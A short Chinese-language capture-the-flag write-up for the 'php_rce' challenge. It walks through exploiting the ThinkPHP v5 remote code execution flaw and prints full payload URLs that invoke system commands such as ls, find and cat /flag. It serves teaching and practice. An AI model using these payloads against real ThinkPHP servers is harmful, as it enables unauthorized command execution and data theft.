背景知识
Linux命令
thinkPHPv5漏洞
题目
打开页面,页面显示为thinkphp v5的界面,可以判断框架为thinkPHP,可以去网上查找相关的漏洞
由题目可知,php rec是一个通过远程代码执行漏洞来攻击php程序的一种方式
因为不知道是php版本几,先尝试一下
使用thinkPHP 5.1的漏洞
payload
/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
提示为5.0.2版本
payload
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
说明命令执行成功
接着抓取flag
payload
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
由页面提示可知,flag储存在flag文件下的flag文件中
用cat命令读取flag
payload
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
得到flag
参考学习链接:
攻防世界-web篇(php_rce)详解_渗透小剑客的博客-CSDN博客
https://www.cnblogs.com/qiushuo/p/17454519.html